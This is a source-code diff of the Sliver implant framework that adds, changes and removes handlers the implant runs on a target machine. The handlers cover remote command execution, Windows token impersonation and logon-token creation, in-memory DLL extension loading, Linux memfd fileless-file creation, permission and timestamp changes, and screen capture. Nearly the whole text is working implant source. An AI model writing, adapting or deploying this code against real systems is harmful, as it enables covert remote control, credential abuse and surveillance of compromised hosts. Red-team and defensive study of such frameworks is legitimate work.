+// ECCDecryptFromPeer - Decrypt a message from a peer
+func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
 	valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
 	if !valid {
 		return nil, ErrInvalidPeerKey
 	}
 	var peerPublicKey [32]byte
 	copy(peerPublicKey[:], senderPublicKey)
-	keyPair := GetPeerAgeKeyPair()
-	plaintext, err := AgeDecrypt(keyPair.Private, ciphertext)
+	keyPair := GetECCKeyPair()
+	plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
 	if err != nil {
 		return nil, err
 	}

implant/sliver/encoders/gzip.go

@@ -21,7 +21,6 @@ package encoders
 import (
 	"bytes"
 	"compress/gzip"
-	"sync"
 )
 
 // GzipEncoderID - EncoderID
@@ -30,44 +29,12 @@ const GzipEncoderID = 49
 // Gzip - Gzip compression encoder
 type Gzip struct{}
 
-var gzipWriterPools = &sync.Pool{}
-
-func init() {
-	gzipWriterPools = &sync.Pool{
-		New: func() interface{} {
-			w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
-			return w
-		},
-	}
-}
-
-// GzipBuf - Gzip a buffer
-func GzipBuf(data []byte) []byte {
-	var buf bytes.Buffer
-	gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
-	gzipWriter.Reset(&buf)
-	gzipWriter.Write(data)
-	gzipWriter.Close()
-	gzipWriterPools.Put(gzipWriter)
-	return buf.Bytes()
-}
-
-// GunzipBuf - Gunzip a buffer
-func GunzipBuf(data []byte) []byte {
-	zip, _ := gzip.NewReader(bytes.NewBuffer(data))
-	var buf bytes.Buffer
-	buf.ReadFrom(zip)
-	return buf.Bytes()
-}
-
 // Encode - Compress data with gzip
 func (g Gzip) Encode(data []byte) []byte {
 	var buf bytes.Buffer
-	gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
-	gzipWriter.Reset(&buf)
+	gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
 	gzipWriter.Write(data)
 	gzipWriter.Close()
-	gzipWriterPools.Put(gzipWriter)
 	return buf.Bytes()
 }
 

implant/sliver/extension/extension_windows.go

@@ -19,6 +19,7 @@ package extension
 */
 
 import (
+	"bytes"
 	"errors"
 	"sync"
 	"syscall"
@@ -37,11 +38,12 @@ const (
 )
 
 type WindowsExtension struct {
-	id     string
-	data   []byte
-	module *memmod.Module
-	arch   string
-	init   string
+	id       string
+	data     []byte
+	module   *memmod.Module
+	arch     string
+	init     string
+	onFinish func([]byte)
 	sync.Mutex
 }
 
@@ -100,7 +102,8 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
 	if w.module == nil {
 		return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
 	}
-	callback := syscall.NewCallback(newWindowsExtensionCallback(onFinish))
+	w.onFinish = onFinish
+	callback := syscall.NewCallback(w.extensionCallback)
 	exportPtr, err := w.module.ProcAddressByName(export)
 	if err != nil {
 		return err
@@ -125,15 +128,18 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
 	return nil
 }
 
-func newWindowsExtensionCallback(onFinish func([]byte)) func(data uintptr, dataLen uintptr) uintptr {
-	// extensionCallback takes a buffer (char *) and its size (int) as parameters
-	// so we can pass data back to the Go process from the loaded DLL
-	return func(data uintptr, dataLen uintptr) uintptr {
-		outDataSize := int(dataLen)
-		outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
-		if dataLen > 0 {
-			onFinish(outBytes)
-		}
-		return Success
+// extensionCallback takes a buffer (char *) and its size (int) as parameters
+// so we can pass data back to the Go process from the loaded DLL
+func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
+	outDataSize := int(dataLen)
+	outBuff := new(bytes.Buffer)
+	for i := 0; i < outDataSize; i++ {
+		b := (*byte)(unsafe.Pointer(uintptr(i) + data))
+		outBuff.WriteByte(*b)
 	}
+	//TODO: do something with outBuff
+	if outBuff.Len() > 0 {
+		w.onFinish(outBuff.Bytes())
+	}
+	return Success
 }

implant/sliver/handlers/handlers.go

@@ -26,7 +26,7 @@ import (
 	"errors"
 	"fmt"
 	"io"
-	"io/fs"
+	"io/ioutil"
 	"os"
 	"os/exec"
 	"path/filepath"
@@ -37,7 +37,6 @@ import (
 	"log"
 	// {{end}}
 
-	"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -174,11 +173,11 @@ func dirListHandler(data []byte, resp RPCResponse) {
 	var match bool = false
 	var linkPath string = ""
 
-	for _, dirEntry := range files {
+	for _, fileInfo := range files {
 		if filter == "" {
 			match = true
 		} else {
-			match, err = matcher.Match(filter, dirEntry.Name())
+			match, err = filepath.Match(filter, fileInfo.Name())
 			if err != nil {
 				// Then this is a bad filter, and it will be a bad filter
 				// on every iteration of the loop, so we might as well break now
@@ -187,41 +186,29 @@ func dirListHandler(data []byte, resp RPCResponse) {
 		}
 
 		if match {
-			fileInfo, err := dirEntry.Info()
-			sliverFileInfo := &sliverpb.FileInfo{}
-			if err == nil {
-				sliverFileInfo.Size = fileInfo.Size()
-				sliverFileInfo.ModTime = fileInfo.ModTime().Unix()
+			// Check if this is a symlink, and if so, add the path the link points to
+			if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
+				linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
+				if err != nil {
+					linkPath = ""
+				}
+			} else {
+				linkPath = ""
+			}
+
+			dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
+				Name:  fileInfo.Name(),
+				IsDir: fileInfo.IsDir(),
+				Size:  fileInfo.Size(),
 				/* Send the time back to the client / server as the number of seconds
 				since epoch.  This will decouple formatting the time to display from the
 				time itself.  We can change the format of the time displayed in the client
 				and not have to worry about having to update implants.
 				*/
-				sliverFileInfo.Mode = fileInfo.Mode().String()
-				// Check if this is a symlink, and if so, add the path the link points to
-				if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
-					linkPath, err = filepath.EvalSymlinks(path + dirEntry.Name())
-					if err != nil {
-						link_str, err := os.Readlink(path + dirEntry.Name())
-						if err == nil {
-							linkPath = link_str
-						} else {
-							linkPath = ""
-						}
-					}
-				} else {
-					linkPath = ""
-				}
-
-				sliverFileInfo.Uid = getUid(fileInfo)
-				sliverFileInfo.Gid = getGid(fileInfo)
-			}
-
-			sliverFileInfo.Name = dirEntry.Name()
-			sliverFileInfo.IsDir = dirEntry.IsDir()
-			sliverFileInfo.Link = linkPath
-
-			dirList.Files = append(dirList.Files, sliverFileInfo)
+				ModTime: fileInfo.ModTime().Unix(),
+				Mode:    fileInfo.Mode().String(),
+				Link:    linkPath,
+			})
 		}
 	}
 
@@ -230,7 +217,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
-func getDirList(target string) (string, []fs.DirEntry, error) {
+func getDirList(target string) (string, []os.FileInfo, error) {
 	dir, err := filepath.Abs(target)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -239,10 +226,10 @@ func getDirList(target string) (string, []fs.DirEntry, error) {
 		return "", nil, err
 	}
 	if _, err := os.Stat(dir); !os.IsNotExist(err) {
-		files, err := os.ReadDir(dir)
+		files, err := ioutil.ReadDir(dir)
 		return dir, files, err
 	}
-	return dir, []fs.DirEntry{}, errors.New("directory does not exist")
+	return dir, []os.FileInfo{}, errors.New("directory does not exist")
 }
 
 func rmHandler(data []byte, resp RPCResponse) {
@@ -543,16 +530,7 @@ func executeHandler(data []byte, resp RPCResponse) {
 	}
 
 	execResp := &sliverpb.Execute{}
-	exePath, err := expandPath(execReq.Path)
-	if err != nil {
-		execResp.Response = &commonpb.Response{
-			Err: fmt.Sprintf("%s", err),
-		}
-		proto.Marshal(execResp)
-		resp(data, err)
-		return
-	}
-	cmd := exec.Command(exePath, execReq.Args...)
+	cmd := exec.Command(execReq.Path, execReq.Args...)
 
 	if execReq.Output {
 		stdOutBuff := new(bytes.Buffer)
@@ -621,11 +599,6 @@ func executeHandler(data []byte, resp RPCResponse) {
 				Err: fmt.Sprintf("%s", err),
 			}
 		}
-
-		go func() {
-			cmd.Wait()
-		}()
-
 		if cmd.Process != nil {
 			execResp.Pid = uint32(cmd.Process.Pid)
 		}
@@ -861,7 +834,7 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
 		for _, fileName := range directoryFiles {
 			standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
 			if filter != "" {
-				match, err := matcher.Match(testPath+filter, standardFileName)
+				match, err := filepath.Match(testPath+filter, standardFileName)
 				if err == nil && match {
 					matchingFiles = append(matchingFiles, standardFileName)
 				}
@@ -875,7 +848,7 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
 			if filter != "" {
 				// Normalize paths
 				testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
-				match, matchErr := matcher.Match(testPath+filter, filePath)
+				match, matchErr := filepath.Match(testPath+filter, filePath)
 				if !match || matchErr != nil {
 					// If there is an error, it is because the filter is bad, so it is not a match
 					return nil
@@ -956,51 +929,3 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
 	}
 	return readFiles, unreadableFiles, nil
 }
-
-func expandPath(exePath string) (string, error) {
-	if !strings.ContainsRune(exePath, os.PathSeparator) {
-		_, err := exec.LookPath(exePath)
-		if err != nil {
-			return filepath.Abs(exePath)
-		}
-	}
-	return exePath, nil
-}
-
-func chtimesHandler(data []byte, resp RPCResponse) {
-	chtimesReq := &sliverpb.ChtimesReq{}
-	err := proto.Unmarshal(data, chtimesReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-
-	chtimes := &sliverpb.Chtimes{}
-	target, _ := filepath.Abs(chtimesReq.Path)
-	chtimes.Path = target
-	// Make sure file exists
-	_, err = os.Stat(target)
-
-	chtimes.Response = &commonpb.Response{}
-	if err == nil {
-
-		unixAtime := int64(chtimesReq.ATime)
-		atime := time.Unix(unixAtime, 0)
-
-		unixMtime := int64(chtimesReq.MTime)
-		mtime := time.Unix(unixMtime, 0)
-
-		err = os.Chtimes(target, atime, mtime)
-		if err != nil {
-			chtimes.Response.Err = err.Error()
-		}
-
-	} else {
-		chtimes.Response.Err = err.Error()
-	}
-
-	data, err = proto.Marshal(chtimes)
-	resp(data, err)
-}

implant/sliver/handlers/handlers_darwin.go

@@ -19,10 +19,6 @@ package handlers
 */
 
 import (
-	"os"
-	"os/user"
-	"syscall"
-	"strconv"
 	"github.com/bishopfox/sliver/implant/sliver/extension"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -47,7 +43,6 @@ var (
 		pb.MsgEnvReq:       getEnvHandler,
 		pb.MsgSetEnvReq:    setEnvHandler,
 		pb.MsgUnsetEnvReq:  unsetEnvHandler,
-		pb.MsgChtimesReq:   chtimesHandler,
 
 		pb.MsgScreenshotReq: screenshotHandler,
 		pb.MsgNetstatReq:    netstatHandler,
@@ -145,23 +140,3 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
 	data, err = proto.Marshal(lstResp)
 	resp(data, err)
 }
-
-func getUid(fileInfo os.FileInfo) (string) {
-	uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
-	uid_str := strconv.FormatUint(uint64(uid), 10)
-	usr, err := user.LookupId(uid_str)
-	if err != nil {
-		return ""
-	}
-	return usr.Name
-}
-
-func getGid(fileInfo os.FileInfo) (string) {
-	gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
-	gid_str := strconv.FormatUint(uint64(gid), 10)
-	grp, err := user.LookupGroupId(gid_str)
-	if err != nil {
-		return ""
-	}
-	return grp.Name
-}

implant/sliver/handlers/handlers_generic.go

@@ -27,7 +27,6 @@ package handlers
 */
 
 import (
-	"os"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
@@ -47,7 +46,6 @@ var (
 		sliverpb.MsgEnvReq:         getEnvHandler,
 		sliverpb.MsgUnsetEnvReq:    unsetEnvHandler,
 		sliverpb.MsgReconfigureReq: reconfigureHandler,
-		sliverpb.MsgChtimesReq:     chtimesHandler,
 	}
 )
 
@@ -60,13 +58,3 @@ func GetSystemHandlers() map[uint32]RPCHandler {
 func GetSystemPivotHandlers() map[uint32]PivotHandler {
 	return map[uint32]PivotHandler{}
 }
-
-// Stub
-func getUid(fileInfo os.FileInfo) (string) {
-	return ""
-}
-
-// Stub
-func getGid(fileInfo os.FileInfo) (string) {
-	return ""
-}

implant/sliver/handlers/handlers_linux.go

@@ -19,26 +19,7 @@ package handlers
 */
 
 import (
-	"fmt"
-	"io/fs"
-	"os"
-	"os/user"
-	"path/filepath"
-	"runtime"
-	"strconv"
-	"strings"
-	"syscall"
-	"time"
-	"unsafe"
-
-	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
 )
 
 var (
@@ -79,15 +60,6 @@ var (
 		sliverpb.MsgWGStopSocksReq:      wgStopSocksHandler,
 		sliverpb.MsgWGListSocksReq:      wgListSocksServersHandler,
 		// {{end}}
-
-		// Linux Only
-		sliverpb.MsgChmodReq:   chmodHandler,
-		sliverpb.MsgChownReq:   chownHandler,
-		sliverpb.MsgChtimesReq: chtimesHandler,
-
-		sliverpb.MsgMemfilesListReq: memfilesListHandler,
-		sliverpb.MsgMemfilesAddReq:  memfilesAddHandler,
-		sliverpb.MsgMemfilesRmReq:   memfilesRmHandler,
 	}
 )
 
@@ -95,309 +67,3 @@ var (
 func GetSystemHandlers() map[uint32]RPCHandler {
 	return linuxHandlers
 }
-
-func getUid(fileInfo os.FileInfo) string {
-	uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
-	uid_str := strconv.FormatUint(uint64(uid), 10)
-	usr, err := user.LookupId(uid_str)
-	if err != nil {
-		return ""
-	}
-	return usr.Name
-}
-
-func getGid(fileInfo os.FileInfo) string {
-	gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
-	gid_str := strconv.FormatUint(uint64(gid), 10)
-	grp, err := user.LookupGroupId(gid_str)
-	if err != nil {
-		return ""
-	}
-	return grp.Name
-}
-
-func memfilesListHandler(data []byte, resp RPCResponse) {
-
-	pid := os.Getpid()
-	path := fmt.Sprintf("/proc/%d/fd/", pid)
-	dir, files, err := getDirList(path)
-
-	// Convert directory listing to protobuf
-	timezone, offset := time.Now().Zone()
-	dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
-	if err == nil {
-		dirList.Exists = true
-	} else {
-		dirList.Exists = false
-	}
-	dirList.Files = []*sliverpb.FileInfo{}
-
-	for _, dirEntry := range files {
-		//log.Printf("File: %s\n", dirEntry.Name())
-		dirEntry.Name()
-
-		fileInfo, err := dirEntry.Info()
-		sliverFileInfo := &sliverpb.FileInfo{}
-		if err == nil {
-
-			sliverFileInfo.Size = fileInfo.Size()
-			sliverFileInfo.ModTime = fileInfo.ModTime().Unix()
-			sliverFileInfo.Mode = fileInfo.Mode().String()
-			// Check if this is a symlink, and if so, add the path the link points to
-			if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
-
-				link_str, err := os.Readlink(path + dirEntry.Name())
-				if err == nil && strings.Contains(link_str, "/memfd:") {
-
-					sliverFileInfo.Uid = getUid(fileInfo)
-					sliverFileInfo.Gid = getGid(fileInfo)
-					sliverFileInfo.Name = dirEntry.Name()
-					sliverFileInfo.IsDir = dirEntry.IsDir()
-					sliverFileInfo.Link = link_str
-
-					dirList.Files = append(dirList.Files, sliverFileInfo)
-				}
-			}
-		}
-	}
-
-	// Send back the response
-	data, err = proto.Marshal(dirList)
-	resp(data, err)
-
-}
-
-func memfilesAddHandler(data []byte, resp RPCResponse) {
-
-	var nrMemfdCreate int
-	memfilesAdd := &sliverpb.MemfilesAdd{}
-	memfilesAdd.Response = &commonpb.Response{}
-
-	memfdName := taskrunner.RandomString(8)
-	//memfdName := "/tmp/a"
-	memfd, err := syscall.BytePtrFromString(memfdName)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("Error during conversion: %s\n", err)
-		//{{end}}
-		return
-	}
-	if runtime.GOARCH == "386" {
-		nrMemfdCreate = 356
-	} else {
-		nrMemfdCreate =
-			319
-	}
-
-	fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
-	fd_str := fmt.Sprintf("%d", fd)
-	fd_int, err := strconv.ParseInt(fd_str, 0, 64)
-	//log.Printf("Fd: %d\n", fd_int)
-	memfilesAdd.Fd = fd_int
-
-	data, err = proto.Marshal(memfilesAdd)
-	resp(data, err)
-
-}
-
-func memfilesRmHandler(data []byte, resp RPCResponse) {
-
-	memfilesRmReq := &sliverpb.MemfilesRmReq{}
-	err := proto.Unmarshal(data, memfilesRmReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-
-	memfilesRm := &sliverpb.MemfilesRm{}
-	memfilesRm.Fd = memfilesRmReq.Fd
-	memfilesRm.Response = &commonpb.Response{}
-
-	pid := os.Getpid()
-	fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, memfilesRmReq.Fd)
-	fileInfo, err := os.Lstat(fdPath)
-
-	if err == nil {
-
-		if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
-			link_str, err := os.Readlink(fdPath)
-			if err == nil && strings.Contains(link_str, "/memfd:") {
-				syscall.Close(int(memfilesRmReq.Fd))
-			} else {
-				memfilesRm.Response.Err = "file descriptor does not represent a memfd"
-			}
-		} else {
-			memfilesRm.Response.Err = "file descriptor does not represent a symlink"
-		}
-	} else {
-		memfilesRm.Response.Err = err.Error()
-	}
-
-	data, err = proto.Marshal(memfilesRm)
-	resp(data, err)
-
-}
-
-func chmodHandler(data []byte, resp RPCResponse) {
-	chmodReq := &sliverpb.ChmodReq{}
-	err := proto.Unmarshal(data, chmodReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-
-	chmod := &sliverpb.Chmod{}
-	target, _ := filepath.Abs(chmodReq.Path)
-	chmod.Path = target
-	// Make sure file exists
-	_, err = os.Stat(target)
-
-	chmod.Response = &commonpb.Response{}
-	if err == nil {
-		// Convert string to octal number
-		octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
-		if err == nil {
-
-			setuid := octal & 04000
-			setgid := octal & 02000
-			setstcky := octal & 01000
-
-			// Cast the octal number to fs.FileMode
-			fileMode := os.FileMode(octal)
-
-			// Found this was necessary because the constructor above doesn't set special permissions
-			if setuid > 0 {
-				fileMode = fileMode | os.ModeSetuid
-			}
-			if setgid > 0 {
-				fileMode = fileMode | os.ModeSetgid
-			}
-			if setstcky > 0 {
-				fileMode = fileMode | os.ModeSticky
-			}
-
-			if chmodReq.Recursive {
-
-				err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
-					if err == nil {
-						err = os.Chmod(file, fileMode)
-						if err != nil {
-							return err
-						}
-					} else {
-						return err
-					}
-					return nil
-				})
-				if err != nil {
-					chmod.Response.Err = err.Error()
-				}
-
-			} else {
-				err = os.Chmod(target, fileMode)
-				if err != nil {
-					chmod.Response.Err = err.Error()
-				}
-			}
-		} else {
-			chmod.Response.Err = err.Error()
-		}
-	} else {
-		chmod.Response.Err = err.Error()
-	}
-
-	data, err = proto.Marshal(chmod)
-	resp(data, err)
-}
-
-func chownHandler(data []byte, resp RPCResponse) {
-
-	// variable definitions so goto won't break
-	var uid_str string
-	var gid_str string
-	var gid uint64
-	var uid uint64
-	var err error
-	var usr *user.User
-	var grp *user.Group
-
-	chownReq := &sliverpb.ChownReq{}
-	err = proto.Unmarshal(data, chownReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-
-	chown := &sliverpb.Chown{}
-	target, _ := filepath.Abs(chownReq.Path)
-	chown.Path = target
-	_, err = os.Stat(target)
-
-	chown.Response = &commonpb.Response{}
-	if err != nil {
-		chown.Response.Err = err.Error()
-		goto finished
-	}
-
-	uid_str = chownReq.Uid
-	usr, err = user.Lookup(uid_str)
-	if err != nil {
-		chown.Response.Err = err.Error()
-		goto finished
-	}
-
-	uid, err = strconv.ParseUint(usr.Uid, 10, 32)
-	if err != nil {
-		chown.Response.Err = err.Error()
-		goto finished
-	}
-
-	gid_str = chownReq.Gid
-	grp, err = user.LookupGroup(gid_str)
-	if err != nil {
-		chown.Response.Err = err.Error()
-		goto finished
-	}
-
-	gid, err = strconv.ParseUint(grp.Gid, 10, 32)
-	if err != nil {
-		chown.Response.Err = err.Error()
-		goto finished
-	}
-
-	// Check if the recursive flag is set and the path is a directory
-	if chownReq.Recursive {
-
-		err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
-			if err == nil {
-				err = os.Chown(file, int(uid), int(gid))
-				if err != nil {
-					return err
-				}
-			} else {
-				return err
-			}
-			return nil
-		})
-		if err != nil {
-			chown.Response.Err = err.Error()
-		}
-
-	} else {
-
-		err = os.Chown(target, int(uid), int(gid))
-		if err != nil {
-			chown.Response.Err = err.Error()
-		}
-	}
-
-finished:
-	data, err = proto.Marshal(chown)
-	resp(data, err)
-}

implant/sliver/handlers/handlers_windows.go

@@ -24,7 +24,6 @@ import (
 	"fmt"
 	"io"
 	"os"
-	"runtime"
 
 	// {{if .Config.Debug}}
 	"log"
@@ -38,7 +37,6 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/registry"
 	"github.com/bishopfox/sliver/implant/sliver/service"
 	"github.com/bishopfox/sliver/implant/sliver/spoof"
-	"github.com/bishopfox/sliver/implant/sliver/syscalls"
 	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -99,7 +97,6 @@ var (
 		sliverpb.MsgExecuteReq:     executeHandler,
 		sliverpb.MsgReconfigureReq: reconfigureHandler,
 		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
-		sliverpb.MsgChtimesReq:     chtimesHandler,
 
 		// Extensions
 		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -123,28 +120,6 @@ func GetSystemHandlers() map[uint32]RPCHandler {
 	return windowsHandlers
 }
 
-func WrapperHandler(handler RPCHandler, data []byte, resp RPCResponse) {
-	if priv.CurrentToken != 0 {
-		err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Error: %v\n", err)
-			// {{end}}
-		}
-		runtime.LockOSThread()
-		defer runtime.UnlockOSThread()
-	}
-	handler(data, resp)
-	if priv.CurrentToken != 0 {
-		err := priv.TRevertToSelf()
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Error: %v\n", err)
-			// {{end}}
-		}
-	}
-}
-
 // ---------------- Windows Handlers ----------------
 
 func impersonateHandler(data []byte, resp RPCResponse) {
@@ -177,12 +152,10 @@ func runAsHandler(data []byte, resp RPCResponse) {
 		// {{end}}
 		return
 	}
-	show := 10
-	if runAsReq.HideWindow {
-		show = 0
+	out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
+	runAs := &sliverpb.RunAs{
+		Output: out,
 	}
-	err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
-	runAs := &sliverpb.RunAs{}
 	if err != nil {
 		runAs.Response = &commonpb.Response{Err: err.Error()}
 	}
@@ -304,16 +277,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
 	}
 
 	execResp := &sliverpb.Execute{}
-	exePath, err := expandPath(execReq.Path)
-	if err != nil {
-		execResp.Response = &commonpb.Response{
-			Err: fmt.Sprintf("%s", err),
-		}
-		proto.Marshal(execResp)
-		resp(data, err)
-		return
-	}
-	cmd := exec.Command(exePath, execReq.Args...)
+	cmd := exec.Command(execReq.Path, execReq.Args...)
 
 	// Execute with current token
 	cmd.SysProcAttr = &syscall.SysProcAttr{}
@@ -460,7 +424,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
 		return
 	}
 	makeTokenResp := &sliverpb.MakeToken{}
-	err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
+	err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
 	if err != nil {
 		makeTokenResp.Response = &commonpb.Response{
 			Err: err.Error(),
@@ -747,13 +711,3 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
 	data, err = proto.Marshal(lstResp)
 	resp(data, err)
 }
-
-// Stub since Windows doesn't support UID
-func getUid(fileInfo os.FileInfo) (string) {
-	return ""
-}
-
-// Stub since Windows doesn't support GID
-func getGid(fileInfo os.FileInfo) (string) {
-    return ""
-}

implant/sliver/handlers/matcher/matcher.go

@@ -1,10 +0,0 @@
-//go:build !windows
-
-package matcher
-
-import "path/filepath"
-
-// PathMatch - Match a path against a pattern, generic implementation
-func Match(pattern string, s string) (bool, error) {
-	return filepath.Match(pattern, s)
-}

implant/sliver/handlers/matcher/matcher_windows.go

@@ -1,11 +0,0 @@
-package matcher
-
-import (
-	"path/filepath"
-	"strings"
-)
-
-// Match - Windows specific implementation: disregard the case
-func Match(pattern string, s string) (bool, error) {
-	return filepath.Match(strings.ToLower(pattern), strings.ToLower(s))
-}

implant/sliver/handlers/rpc-handlers-cgo.go

@@ -1,50 +0,0 @@
-//go:build (linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64)
-
-package handlers
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"github.com/bishopfox/sliver/implant/sliver/screen"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-func screenshotHandler(data []byte, resp RPCResponse) {
-	sc := &sliverpb.ScreenshotReq{}
-	err := proto.Unmarshal(data, sc)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-	// {{if .Config.Debug}}
-	log.Printf("Screenshot Request")
-	// {{end}}
-	scRes := &sliverpb.Screenshot{}
-	scRes.Data = screen.Screenshot()
-	data, err = proto.Marshal(scRes)
-
-	resp(data, err)
-}

implant/sliver/handlers/rpc-handlers-generic.go

@@ -1,29 +0,0 @@
-//go:build !((linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64))
-
-package handlers
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"errors"
-)
-
-func screenshotHandler(data []byte, resp RPCResponse) {
-	resp([]byte{}, errors.New("unsupported platform"))
-}

implant/sliver/handlers/rpc-handlers.go

@@ -31,6 +31,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/netstat"
 	"github.com/bishopfox/sliver/implant/sliver/procdump"
 	"github.com/bishopfox/sliver/implant/sliver/ps"
+	"github.com/bishopfox/sliver/implant/sliver/screen"
 	"github.com/bishopfox/sliver/implant/sliver/shell/ssh"
 	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -172,6 +173,25 @@ func ifconfig() *sliverpb.Ifconfig {
 	return interfaces
 }
 
+func screenshotHandler(data []byte, resp RPCResponse) {
+	sc := &sliverpb.ScreenshotReq{}
+	err := proto.Unmarshal(data, sc)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+	// {{if .Config.Debug}}
+	log.Printf("Screenshot Request")
+	// {{end}}
+	scRes := &sliverpb.Screenshot{}
+	scRes.Data = screen.Screenshot()
+	data, err = proto.Marshal(scRes)
+
+	resp(data, err)
+}
+
 func netstatHandler(data []byte, resp RPCResponse) {
 	netstatReq := &sliverpb.NetstatReq{}
 	err := proto.Unmarshal(data, netstatReq)
@@ -261,11 +281,11 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
 		}
 		entries = append(entries, &sliverpb.SockTabEntry{
